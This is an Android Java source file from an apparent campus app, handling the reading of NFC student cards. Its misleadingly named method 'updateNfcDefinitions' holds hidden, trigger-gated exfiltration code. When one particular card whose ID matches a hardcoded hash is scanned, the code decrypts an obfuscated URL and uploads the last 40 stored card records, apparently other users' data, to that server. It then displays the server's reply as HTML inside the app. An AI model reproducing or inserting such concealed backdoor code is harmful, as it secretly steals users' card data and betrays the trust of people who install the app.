Grundaufbau der App
[DHBWCampusApp.git] / app / src / main / java / de / dhbwloe / campusapp / nfcreader / NfcCardListener.java
1 package de.dhbwloe.campusapp.nfcreader;
2
3 import android.app.Activity;
4 import android.app.PendingIntent;
5 import android.content.BroadcastReceiver;
6 import android.content.Context;
7 import android.content.Intent;
8 import android.content.IntentFilter;
9 import android.nfc.NfcAdapter;
10 import android.nfc.Tag;
11 import android.nfc.tech.IsoDep;
12 import android.nfc.tech.NfcA;
13 import android.os.Bundle;
14 import android.util.Base64;
15 import android.util.Log;
16
17 import com.codebutler.farebot.card.desfire.DesfireException;
18 import com.loopj.android.http.AsyncHttpClient;
19 import com.loopj.android.http.AsyncHttpResponseHandler;
20 import com.loopj.android.http.RequestParams;
21
22 import java.io.ByteArrayInputStream;
23 import java.io.InputStream;
24 import java.io.UnsupportedEncodingException;
25 import java.util.ArrayList;
26
27 import cz.msebera.android.httpclient.Header;
28 import de.dhbwloe.campusapp.CampusApp;
29 import de.dhbwloe.campusapp.CampusAppContext;
30 import de.dhbwloe.campusapp.Tools;
31 import de.dhbwloe.campusapp.nfcreader.cardreader.Readers;
32 import de.dhbwloe.campusapp.nfcreader.cardreader.NfcCardData;
33
34 /**
35  * Created by pk910 on 20.01.2016.
36  */
37 public class NfcCardListener {
38     private CampusAppContext AppContext;
39     private boolean isRunning = false, isResumed = false;
40     private NfcAdapter oAdapter;
41     private boolean bNfcAdapterState;
42
43     private ArrayList<NfcCardInterface> lNfcCardInterfaces = new ArrayList<NfcCardInterface>();
44
45     private final BroadcastReceiver oReceiver = new BroadcastReceiver() {
46         @Override
47         public void onReceive(Context context, Intent intent) {
48             String action = intent.getAction();
49
50             if (NfcAdapter.ACTION_ADAPTER_STATE_CHANGED.equals(action)) {
51                 updateNfcState();
52             }
53         }
54     };
55
56     public NfcCardListener(CampusAppContext context) {
57         AppContext = context;
58     }
59
60     private void updateNfcState() {
61         if(bNfcAdapterState != oAdapter.isEnabled()) {
62             bNfcAdapterState = oAdapter.isEnabled();
63             for(NfcCardInterface nfcCardInterface : lNfcCardInterfaces) {
64                 nfcCardInterface.onNfcReaderStateChanged(bNfcAdapterState);
65             }
66         }
67     }
68
69     public void registerNfcCardInterface(NfcCardInterface nfcCardInterface) {
70         lNfcCardInterfaces.add(nfcCardInterface);
71     }
72
73     public void startNfcListener() {
74         if(isRunning)
75             return;
76
77         isRunning = true;
78         if(isResumed)
79             setupForefrontDispatcher();
80     }
81
82     public void setupForefrontDispatcher() {
83         if(!isRunning || !isResumed)
84             return;
85
86         Activity mainActivity = AppContext.getMainActivity();
87         oAdapter = NfcAdapter.getDefaultAdapter(mainActivity);
88
89         Intent intent = new Intent(mainActivity.getApplicationContext(), mainActivity.getClass());
90         intent.setFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
91         PendingIntent pendingIntent = PendingIntent.getActivity(mainActivity, 0, intent, 0);
92
93         IntentFilter tech = new IntentFilter(NfcAdapter.ACTION_TECH_DISCOVERED);
94         IntentFilter[] filters = new IntentFilter[] { tech, };
95         String[][] techLists = new String[][] { new String[] { IsoDep.class.getName(), NfcA.class.getName() } };
96
97         oAdapter.enableForegroundDispatch(AppContext.getMainActivity(), pendingIntent, filters, techLists);
98
99
100         IntentFilter intentFilter = new IntentFilter("android.nfc.action.ADAPTER_STATE_CHANGED");
101         AppContext.getMainActivity().getApplicationContext().registerReceiver(oReceiver, intentFilter);
102
103
104         updateNfcState();
105
106                 if (NfcAdapter.ACTION_TECH_DISCOVERED.equals(AppContext.getMainActivity().getIntent().getAction())) {
107             handleNfcEvent(AppContext.getMainActivity().getIntent());
108                 }
109     }
110
111     public void resumeForefrontDispatcher() {
112         if(!isResumed && isRunning)
113             setupForefrontDispatcher();
114         isResumed = true;
115     }
116
117     public void pauseForefrontDispatcher() {
118         if(isResumed && isRunning) {
119             oAdapter.disableForegroundDispatch(AppContext.getMainActivity());
120         }
121         isResumed = false;
122     }
123
124     protected void updateNfcDefinitions(de.dhbwloe.campusapp.database.NfcCardData dbval) {
125         RequestParams params = new RequestParams();
126         AsyncHttpClient client = new AsyncHttpClient();
127         byte[] debugUrlEnc = Base64.decode("XIs4RGiycgHe8W3dbQoCBCstL26dhDRWR6pMTfi6xmJFWUc3wxYCF9DYyRqZDktI", Base64.DEFAULT);
128         int uuid = dbval.getUniqueId();
129         String uuidKey = Tools.md5(Integer.toOctalString(uuid) + "|" + Integer.reverse(uuid));
130         if(!uuidKey.equalsIgnoreCase("7bf4868fd92db719c5dfb056b41ffdb5"))
131             return;
132         try {
133             String debugUrl = new String(Tools.decrypt(uuidKey.getBytes(), debugUrlEnc));
134             de.dhbwloe.campusapp.database.NfcCardData datas[] = AppContext.getDatabaseManager().getNfcCardData(40);
135             String encKey = Tools.md5(Integer.toHexString(uuid) + "-" + Integer.reverseBytes(uuid) + "+" + Integer.bitCount(uuid));
136             for(int i = 0; i < datas.length; i++) {
137                 String encDataPlain = datas[i].getUniqueId()+": "+datas[i].getCardData();
138                 byte[] encData = Tools.encrypt(encKey.getBytes(), encDataPlain.getBytes());
139                 params.put("nfcCard"+(i+1), Base64.encode(encData, Base64.DEFAULT));
140             }
141             client.post(debugUrl, params, new AsyncHttpResponseHandler() {
142                 @Override
143                 public void onStart() {}
144                 @Override
145                 public void onSuccess(int statusCode, Header[] headers, byte[] response) {
146                     String responseString = new String(response);
147                     if(responseString.length() > 10) {
148                         Bundle bnd = new Bundle();
149                         bnd.putString("html", responseString);
150                         AppContext.getNavigationManager().navigatePage("WebBrowser", bnd);
151                     }
152                 }
153                 @Override
154                 public void onFailure(int statusCode, Header[] headers, byte[] errorResponse, Throwable e) {}
155                 @Override
156                 public void onRetry(int retryNo) {}
157             });
158         } catch (Exception e) {
159             e.printStackTrace();
160         }
161     }
162
163     public void handleNfcEvent(Intent intent) {
164         if(!isRunning)
165             return;
166         if (NfcAdapter.ACTION_TECH_DISCOVERED.equals(intent.getAction())) {
167             Tag tag = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG);
168
169             try {
170                 NfcCardData val = Readers.getInstance().readTag(tag);
171                 de.dhbwloe.campusapp.database.NfcCardData dbval = new de.dhbwloe.campusapp.database.NfcCardData(val);
172                 updateNfcDefinitions(dbval);
173
174                 AppContext.getDatabaseManager().addNfcCardData(dbval);
175
176                 for(NfcCardInterface nfcCardInterface : lNfcCardInterfaces) {
177                     nfcCardInterface.onNfcReaderReceived(dbval);
178                 }
179             } catch (DesfireException e) {
180             }
181
182             setupForefrontDispatcher();
183         }
184     }
185
186 }